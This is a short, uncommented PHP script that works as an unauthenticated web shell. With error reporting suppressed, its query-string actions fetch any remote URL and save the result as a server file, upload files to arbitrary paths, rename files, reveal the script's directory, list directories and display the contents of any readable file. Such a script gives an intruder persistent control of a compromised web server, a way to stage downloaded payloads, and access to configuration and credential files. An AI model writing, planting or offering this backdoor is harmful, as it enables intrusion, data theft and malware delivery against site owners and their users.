<?php
error_reporting(0);
if ($_GET['act'] == 'dl') {
    echo '<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        file_put_contents($_POST['fn'], file_get_contents($_POST['url']));
    }
    exit;
}
if ($_GET['act'] == 'ul') {
    echo '<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
        move_uploaded_file($_FILES['uf']["tmp_name"], $sp . $_FILES['uf']["name"]);
    }
    exit;
}
if ($_GET['act'] == 'rn') {
    echo '<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>';
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        rename($_POST['on'], $_POST['nn']);
    }
    exit;
}
if ($_GET['act'] == 'gp') {
    echo dirname(__FILE__);
    exit;
}
if ($_GET['act'] == 'lp') {
    echo '<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>';
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $dp = $_POST['dp'] . '/';
        $h = opendir($dp);
        while (($fn = readdir($h)) !== false) {
            if (is_dir($dp . $fn)) {
                $t1 .= 'D&nbsp;' . $fn . '<br>';
            } else {
                $t2 .= '&nbsp;&nbsp;' . $fn . '<br>';
            }
        }
        closedir($dp);
        echo $dp . '<br>' . $t1 . $t2;
    }
    exit;
}
if ($_GET['act'] == 'sf') {
    echo '<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $df = $_POST['df'];
        echo '<textarea style="width:100%;height:100%;" wrap="off">' . file_get_contents($df) . '</textarea>';
    }
    exit;
}
